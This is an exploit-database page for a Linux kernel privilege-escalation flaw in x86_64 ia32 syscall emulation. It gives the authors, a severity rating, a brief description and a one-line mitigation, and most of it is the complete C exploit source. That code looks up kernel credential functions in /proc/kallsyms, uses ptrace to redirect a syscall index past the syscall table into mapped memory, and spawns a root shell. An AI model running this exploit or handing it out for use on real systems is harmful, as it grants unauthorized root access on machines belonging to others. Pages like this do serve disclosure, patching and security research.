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Robert Swiecki, Przemyslaw Frasunek, and Pawel Pisarczyk
7,2
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HIGH
Privilege Escalation
269
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Platforms Tested: x86_64 Linux
2005

Linux Kernel IA32 Syscall Emulation Exploit

This exploit is used to gain root privileges on x86_64 Linux kernel systems. It was rediscovered by Ben Hawkes with help from Robert Swiecki and Tavis Ormandy. The original vulnerability was discovered by Wojciech Purczynski and the original exploit was created by Robert Swiecki, Przemyslaw Frasunek, and Pawel Pisarczyk. The kernel privilege escalation code was borrowed from Spender. The exploit works by replacing the ia32_syscall entry in the sys_call_table with a call to the kernelmodecode function. This function calls the commit_creds and prepare_kernel_cred functions to gain root privileges.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all systems are running the latest version of the Linux kernel.
Source

Exploit-DB raw data:

/*
 * exploit for x86_64 linux kernel ia32syscall emulation (again)
 *	rediscovered by ben hawkes
 *	with help from robert swiecki and tavis ormandy
 *
 * original vulnerability discovered by Wojciech Purczynski
 *
 * original exploit by
 * 	Robert Swiecki <robert_at_swiecki.net>
 * 	Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
 * 	Pawel Pisarczyk <pawel_at_immos.com.pl>
 * 
 * kernel priv escalation code borrowed from spender
 *
 */
 
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int kernelmodecode(void *file, void *vma)
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

unsigned long
get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	int ret = 0, oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			return 0;
		oldstyle = 1;
	}

	while (ret != EOF) {
		if (!oldstyle) {
			ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
		} else {
			ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
					continue;
				}
				p = strrchr(sname, '_');
				if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_') {
						p--;
					}
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf("resolved symbol %s to %p\n", name, (void *) addr);
			fclose(f);
			return addr;
		}
	}
	fclose(f);

	return 0;
}

 
static void docall(uint64_t *ptr, uint64_t size)
{
	commit_creds = (_commit_creds) get_symbol("commit_creds");
	if (!commit_creds) {
		printf("symbol table not available, aborting!\n");
		exit(1);
	}

	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
	if (!prepare_kernel_cred) {
		printf("symbol table not available, aborting!\n");
		exit(1);
	}

        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

	printf("mapping at %lx\n", tmp); 

        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }
 
        for (; (uint64_t) ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;
 
        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");
 
        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", NULL);
        printf("no /bin/sh ??\n");
        exit(0);
}
 
int main(int argc, char **argv)
{
        int pid, status, set = 0;
        uint64_t rax;
        uint64_t kern_s = 0xffffffff80000000;
        uint64_t kern_e = 0xffffffff84000000;
        uint64_t off = 0x0000000800000101 * 8;
 
        if (argc == 4) {
                docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                exit(0);
        }
 
        if ((pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", NULL);
                perror("exec fault");
                exit(1);
        }
 
        if (pid == -1) {
                printf("fork fault\n");
                exit(1);
        }
 
        for (;;) {
                if (wait(&status) != pid)
                        continue;
 
                if (WIFEXITED(status)) {
                        printf("Process finished\n");
                        break;
                }
 
                if (!WIFSTOPPED(status))
                        continue;
 
                if (WSTOPSIG(status) != SIGTRAP) {
                        printf("Process received signal: %d\n", WSTOPSIG(status));
                        break;
                }
 
                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                	//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                }
 
                if ((rax == 11) && set) {
                        ptrace(PTRACE_DETACH, pid, 0, 0);
                        for(;;)
                                sleep(10000);
                }
 
                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
        }
 
        return 0;
}